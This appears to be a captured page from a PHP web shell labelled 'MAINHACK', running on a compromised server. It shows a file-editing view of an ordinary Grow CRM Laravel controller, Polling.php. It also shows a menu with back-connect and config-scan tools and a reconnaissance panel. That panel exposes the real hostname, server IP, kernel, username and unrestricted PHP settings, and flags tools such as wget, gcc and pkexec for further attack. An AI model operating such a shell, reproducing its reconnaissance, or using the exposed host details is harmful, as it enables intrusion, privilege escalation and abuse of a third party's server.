[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Polling.php
<?php /** -------------------------------------------------------------------------------- * This controller manages all the business logic for polling * * @package Grow CRM * @author NextLoop *----------------------------------------------------------------------------------*/ namespace App\Http\Controllers; use App\Http\Controllers\Controller; use App\Http\Responses\Polling\ActiveTimerResponse; use App\Http\Responses\Polling\GeneralResponse; use App\Http\Responses\Polling\TimersResponse; use App\Repositories\EventTrackingRepository; use App\Repositories\TimerRepository; use DB; class Polling extends Controller { /** * The tracking repository instance. */ protected $trackingrepo; public function __construct(EventTrackingRepository $trackingrepo) { //parent parent::__construct(); $this->trackingrepo = $trackingrepo; //authenticated $this->middleware('auth'); } /** * Polling for the following items * - Notifications * - Reminders Icon * * @return \Illuminate\Http\Response */ public function generalPoll() { //get users unread notifications $notifications_count = $this->trackingrepo->countUnread(); //get users unread notifications $count_reminders = \App\Models\Reminder::where('reminder_userid', auth()->id())->where('reminder_status', 'due')->count(); //count unread instant messages $count_unread_messages = \App\Models\MessagesTracking::where('messagestracking_user_unique_id', auth()->user()->unique_id) ->Where('messagestracking_type', 'read') ->select(DB::raw('messagestracking_target, count(*) as counter')) ->groupBy('messagestracking_target') ->get(); //get users unread notifications $payload = [ 'type' => 'general', 'count_reminders' => $count_reminders, 'notifications_count' => $notifications_count, 'count_unread_messages' => $count_unread_messages ]; //response return new GeneralResponse($payload); } /** * get the times of all stopped timers on this page. Limit to timers stopped 30 mins or less ago * We are doing this to refresh these timers, incase they were stopped as a result of a new timers * being starter, in which case, their display time was not updated. * @param object TimerRepository instance of the repository * @return \Illuminate\Http\Response */ public function timersPoll(TimerRepository $timerrepo) { $payload = []; $timers = []; //first update the users running timer (if there is one) $timerrepo->updateUsersRunningTimer(auth()->id()); //We are on a task list page if (is_array(request('timers'))) { //get the timers $tasks = []; foreach (request('timers') as $task_id => $value) { $tasks[] = $task_id; } $timers = \App\Models\Timer::selectRaw('timer_taskid, timer_time, timer_status') ->selectRaw('sum(timer_time) as timers_sum') ->WhereIn('timer_taskid', $tasks) ->Where('timer_creatorid', auth()->id()) ->groupBy('timer_taskid') ->get(); } //get users unread notifications $payload = [ 'timers' => $timers, 'update_top_nav_timer' => false, ]; //get active running timer for this user if ($timer = \App\Models\Timer::where('timer_status', 'running')->where('timer_creatorid', auth()->id())->first()) { $seconds = \Carbon\Carbon::now()->timestamp - $timer->timer_started; $payload['update_top_nav_timer'] = true; $payload['seconds'] = $seconds; } //response return new TimersResponse($payload); } /** * @param object TimerRepository instance of the repository * @return \Illuminate\Http\Response */ public function activeTimerPoll(TimerRepository $timerrepo) { //get active running timer for this user if (!$timer = \App\Models\Timer::where('timer_status', 'running')->where('timer_creatorid', auth()->id())->first()) { $payload = [ 'action' => 'hide', ]; return new ActiveTimerResponse($payload); } //culaculate time lapsed $seconds = \Carbon\Carbon::now()->timestamp - $timer->timer_started; //get the task $task = \App\Models\Task::Where('task_id', $timer->timer_taskid)->first(); //needed by the topnav timer dropdown request()->merge([ 'users_running_timer_task_id' => $task->task_id, 'users_running_timer_title' => $task->task_title, 'users_running_timer_task_title' => str_slug($task->task_title), ]); //payload $payload = [ 'action' => 'update', 'seconds' => $seconds, 'task' => $task, ]; //response return new ActiveTimerResponse($payload); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002